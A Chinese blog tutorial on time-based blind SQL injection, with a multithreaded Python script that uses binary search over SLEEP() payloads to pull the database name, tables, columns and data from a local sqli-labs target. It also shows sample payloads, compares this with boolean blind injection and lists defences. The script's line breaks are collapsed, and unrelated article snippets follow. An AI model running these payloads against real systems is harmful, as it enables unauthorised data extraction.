当前位置: 首页 > news >正文

利用二分法进行 SQL 时间盲注

什么是时间盲注?

SQL 盲注(Blind SQL Injection)是一种常见的 Web 安全漏洞,其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时,我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。

代码解析

本代码通过 二分法 + 时间盲注 逐字符提取数据库中的信息。它通过 SLEEP() 让服务器延迟响应,从而判断 SQL 条件是否成立。

import requests
import concurrent.futures
import timedef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND IF(ASCII(SUBSTRING(({query}),{index},1)) >= {mid}, SLEEP(2), 0) -- "res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)response_time = time.time() - start_timeif response_time > 1.5:  # 服务器延迟意味着条件成立low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")

时间盲注的原理

  • SLEEP(2): 如果条件为真,服务器会延迟 2 秒响应。
  • 通过 time.time() 计算请求的响应时间,判断是否触发了 SLEEP()
  • 逐字符采用二分法减少请求次数,提高提取效率。

效果展示

两种注入方式使用的sql语句基本相同,主要是回显判断的方式不一样

时间盲注(Time-Based Blind SQL Injection)和布尔盲注(Boolean-Based Blind SQL Injection)是两种常见的 SQL 注入攻击方式,它们的核心区别在于攻击响应的方式判断条件成立的方式

两种方式区别:

1. 响应方式

时间盲注 (Time-Based Blind SQL Injection)

  • 特征:攻击者通过在 SQL 查询中注入 SLEEP() 函数,使数据库在查询满足特定条件时延迟响应。
  • 如何判断:通过测量响应时间来确定 SQL 条件是否成立。例如,若查询条件成立,数据库会延迟一段时间(例如 2 秒),否则响应立即返回。
示例:
' AND IF(ASCII(SUBSTRING(database(), 1, 1)) = 65, SLEEP(2), 0) --
  • 如果 ASCII(SUBSTRING(database(), 1, 1)) = 65(即 A),服务器会延迟 2 秒;否则,查询立刻返回。

布尔盲注 (Boolean-Based Blind SQL Injection)

  • 特征:攻击者通过注入布尔表达式,服务器返回不同的页面响应或状态,来判断条件是否成立。一般不涉及实际的数据返回。
  • 如何判断:通过页面响应的不同来判断 SQL 查询的条件是否成立。例如,查询条件成立时,页面返回正常;查询条件不成立时,页面返回错误或不同的内容。
示例:
' AND ASCII(SUBSTRING(database(), 1, 1)) = 65 --
  • 如果 ASCII(SUBSTRING(database(), 1, 1)) = 65(即 A),查询结果为真,页面正常显示。
  • 如果查询结果为假,页面显示错误或不同的内容。

2. 判断条件

时间盲注

  • 通过时间延迟判断:攻击者无法从页面内容中直接看到数据或错误信息,只能通过查询所引入的时间延迟来判断条件成立。
  • 优点:即使页面响应没有变化(如无错误提示),攻击者依然能通过时间差推断出数据。

布尔盲注

  • 通过页面内容判断:攻击者通过页面的不同表现(如响应内容变化、错误提示、页面状态)来推断条件是否为真。
  • 缺点:依赖页面的可见反馈。如果页面没有明显的变化,可能需要更精细的判断。

3. 执行效率

时间盲注

  • 效率较低:每次查询后,攻击者需要等待服务器的响应延迟,通常这种延迟为 1-5 秒。这会使得一次查询的时间变长,导致数据提取速度较慢。
  • 适用场景:适用于目标服务器没有错误信息反馈,或者防火墙和防护措施使得布尔盲注失效的情况。

布尔盲注

  • 效率较高:布尔盲注通常只需要判断一次响应结果即可,不需要等待延迟,因此效率较高。
  • 适用场景:适用于目标系统没有显式的错误信息,但能够根据页面响应的变化来区分不同的条件。

4. 防御难度

时间盲注

  • 防御困难:因为时间盲注依赖于延迟响应,攻击者通常不会直接看到反馈数据,所以传统的输入过滤和错误信息隐藏防御策略通常无法有效防止。
  • 防御方法:使用 SQL 执行时间限制(例如:SET GLOBAL max_execution_time=500),或者通过 Web 应用防火墙(WAF) 监测异常响应时间。

布尔盲注

  • 防御较容易:布尔盲注依赖于页面内容的不同反馈,通常可以通过 错误信息屏蔽输入验证 来防止。
  • 防御方法:使用 预编译语句(Prepared Statements) 来避免 SQL 注入,过滤或限制用户输入。

5. 使用场景

时间盲注

  • 当目标没有错误反馈,并且不容易观察页面响应的差异时,时间盲注是一个有效的攻击方式。例如,某些网站或应用可能故意隐藏错误信息,只返回固定的页面内容。
  • 适用于服务器响应时间差异明显的情况,例如较大的数据库查询或复杂的子查询。

布尔盲注

  • 当目标服务器根据输入条件返回不同的响应(如页面内容变化、错误信息)时,布尔盲注更为高效。
  • 适用于返回不同页面内容的情况,例如错误页面、成功页面、或者其他表现形式。

总结:

  • 时间盲注:依赖延迟响应来判断 SQL 查询是否成立,适用于没有错误反馈的目标,防御较为困难,但攻击速度较慢。
  • 布尔盲注:通过判断页面响应的变化来进行攻击,适用于能观察到页面差异的目标,防御较为容易,攻击效率较高。

相关文章:

利用二分法进行 SQL 时间盲注

什么是时间盲注&#xff1f; SQL 盲注&#xff08;Blind SQL Injection&#xff09;是一种常见的 Web 安全漏洞&#xff0c;其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时&#xff0c;我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。 …...

数据库管理-第293期 奇怪的sys.user$授权+(20250210)

数据库管理293期 2025-02-10 数据库管理-第293期 奇怪的sys.user$授权&#xff08;20250210&#xff09;1 清空shared pool2 SR反馈总结 数据库管理-第293期 奇怪的sys.user$授权&#xff08;20250210&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#xff08;尹海文&#xff09…...

react实例与总结(一)

目录 一、简单认识 1.1、特点 1.2、JSX语法规则 1.3、函数组件和类式组件 1.4、类组件三大属性state、props、refs 1.4.1、state 1.4.2、props 1.4.3、refs 1.5、事件处理 1.6、收集表单数据—非受控组件和受控组件 1.7、高阶函数—函数柯里化 1.8、生命周期—新旧…...

电路研究9.3——合宙Air780EP中的AT开发指南(含TCP 示例)

根据合宙的AT研发推荐&#xff0c; AT指令基本上也简单看完了&#xff0c;这里开始转到AT的开发了。 AT 命令采用标准串口进行数据收发&#xff0c;将以前复杂的设备通讯方式转换成简单的串口编程&#xff0c; 大大简化了产品的硬件设计和软件开发成本&#xff0c;这使得几乎所…...

Qt 数据库SQLite 使用【01】基本功能

1.开发背景 Qt 开发过程中难免需要存储数据&#xff0c;可以选择保存到本地文件&#xff0c;但是查找比较麻烦&#xff0c;所以就有了数据库&#xff0c;主要是方便查找数据&#xff0c;增删改查等操作&#xff0c;而 SqLite 属于数据库中轻量级的存在&#xff0c;适合本地数据…...

stm32小白成长为高手的学习步骤和方法

我们假定大家已经对STM32的书籍或者文档有一定的理解。如不理解&#xff0c;请立即阅读STM32的文档&#xff0c;以获取最基本的知识点。STM32单片机自学教程 这篇博文也是一篇不错的入门教程&#xff0c;初学者可以看看&#xff0c;讲的真心不错。 英文好的同学&#xf…...

大模型产品Deepseek(五)、本地安装部署(Docker方式)

DeepSeek 本地部署指南 DeepSeek是一款高效的智能搜索与推荐引擎,除了通过云端API提供服务外,它还支持本地部署,让开发者可以完全控制数据和计算资源。通过本地部署,您可以将DeepSeek集成到内部系统中,在私有环境下运行模型,减少对外部API的依赖,同时提升数据隐私性与响…...

Kafka 的消费offset原来是使用ZK管理,现在新版本是怎么管理的?

目录 基于 ZooKeeper 管理消费 offset 原理 缺点 新版本基于内部主题管理消费 offset 原理 优点 示例代码(Java) 在 Kafka 早期版本中,消费者的消费偏移量(offset)是存储在 ZooKeeper 中的,但由于 ZooKeeper 并不适合高频读写操作,从 Kafka 0.9 版本开始,消费偏…...

基于改进型灰狼优化算法(GWO)的无人机路径规划

内容&#xff1a; 基于改进型灰狼优化算法的无人机轨迹规划 GWO是一种群体智能优化算法&#xff0c;模仿灰狼的社会等级和狩猎行为。原始的GWO有一些局限性&#xff0c;比如容易陷入局部最优&#xff0c;收敛速度慢等&#xff0c;所以改进型的GWO可能通过不同的策略来优化这些…...

JS中|=是什么意思?

在JavaScript中&#xff0c;| 是一个位运算符的复合赋值操作&#xff0c;具体表示按位或赋值运算。这个操作符会对两个操作数进行按位或&#xff08;|&#xff09;运算&#xff0c;然后将结果赋值回左操作数。 let a 5; // 二进制表示为 0101let b 3; // 二进制表示为 0011a …...

快速上手Vim的使用

Vim Linux编辑器-vim使用命令行模式下所有选项都可以带数字底行模式可视块模式&#xff08;ctrlV进入&#xff09; Linux编辑器-vim使用 Vim有多种模式的编辑器。能帮助我们很快的进行代码的编辑&#xff0c;甚至完成很多其他事情。 默认情况下我们打开vim在命令模式下&#x…...

RPA与深度学习结合

什么是RPA RPA即机器人流程自动化&#xff08;Robotic Process Automation&#xff09;&#xff0c;它是一种利用软件机器人模拟人类在计算机上的操作&#xff0c;按照预设的规则自动执行一系列重复性、规律性任务的技术。这些任务可以包括数据录入、文件处理、报表生成、系统…...

在阿里云ECS上一键部署DeepSeek-R1

DeepSeek-R1 是一款开源模型&#xff0c;也提供了 API(接口)调用方式。据 DeepSeek介绍&#xff0c;DeepSeek-R1 后训练阶段大规模使用了强化学习技术&#xff0c;在只有极少标注数据的情况下提升了模型推理能力&#xff0c;该模型性能对标 OpenAl o1 正式版。DeepSeek-R1 推出…...

长安汽车发布“北斗天枢2.0”计划,深蓝汽车普及全民智驾

2月9日&#xff0c;长安汽车智能化战略“北斗天枢2.0”计划暨深蓝汽车全场景智能驾驶解决方案发布会在重庆盛大召开。此次发布会标志着长安汽车正式迈入智能化战略的新纪元&#xff0c;携手众多“中国智驾合伙人”&#xff0c;共同开启全民智驾元年。 发布会上&#xff0c;长安…...

Aitken 逐次线性插值

Aitken 逐次线性插值 用 Lagrange 插值多项式 L n ( x ) L_n(x) Ln​(x)计算函数近似值时&#xff0c;如需增加插值节点&#xff0c;那么原来算出的数据均不能利用&#xff0c;必须重新计算。为克服这个缺点&#xff0c;可用逐次线性插值方法求得高次插值。 令 I i 1 , i 2…...

docker 安装 Prometheus、Node Exporter 和 Grafana

Docker Compose 配置文件 docker-compose.yml services:prometheus:image: prom/prometheus:latestcontainer_name: prometheusvolumes:- ./prometheus.yml:/etc/prometheus/prometheus.yml # 挂载配置文件 - prometheus_data:/prometheus # 持久化数据存储 command:- --…...

【LeetCode 热题100】74:搜索二维矩阵(二分、线性两种方式 详细解析)(Go 语言实现)

&#x1f680; 力扣热题 74&#xff1a;搜索二维矩阵&#xff08;详细解析&#xff09; &#x1f4cc; 题目描述 力扣 74. 搜索二维矩阵 给你一个满足下述两条属性的 m x n 整数矩阵 matrix &#xff1a; 每行中的整数从左到右按非递减顺序排列。每行的第一个整数大于前一行的…...

元数据、数据元、数据元素、数据项 和 主数据的概念

一、元数据 1.概念 元数据&#xff0c;又称中介数据、中继数据&#xff0c;为描述数据的数据。主要是描述数据属性的信息&#xff0c;用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。 2.实例 数据库中&#xff0c;表的名称、表字段名、其他相关的描述信息&a…...

阿里云cdn怎样设置图片压缩

阿里云 CDN 提供了图像加速服务&#xff0c;其中包括图像压缩功能。通过设置图片压缩&#xff0c;可以显著减小图片文件的体积&#xff0c;提升网站加载速度&#xff0c;同时减少带宽消耗。九河云来告诉你如何进行图片压缩吧。 如何设置阿里云 CDN 图片压缩&#xff1f; 1. 登…...

白话文实战Nacos(保姆级教程)

前言 上一篇博客 我们创建好了微服务项目,本篇博客来体验一下Nacos作为注册中心和配置中心的功能。 注册中心 如果我们启动了一个Nacos注册中心,那么微服务比如订单服务,启动后就可以连上注册中心把自己注册上去,这过程就是服务注册。每个微服务,比如商品服务都应该注册…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

Day131 | 灵神 | 回溯算法 | 子集型 子集

Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 笔者写过很多次这道题了&#xff0c;不想写题解了&#xff0c;大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...

服务器--宝塔命令

一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行&#xff01; sudo su - 1. CentOS 系统&#xff1a; yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...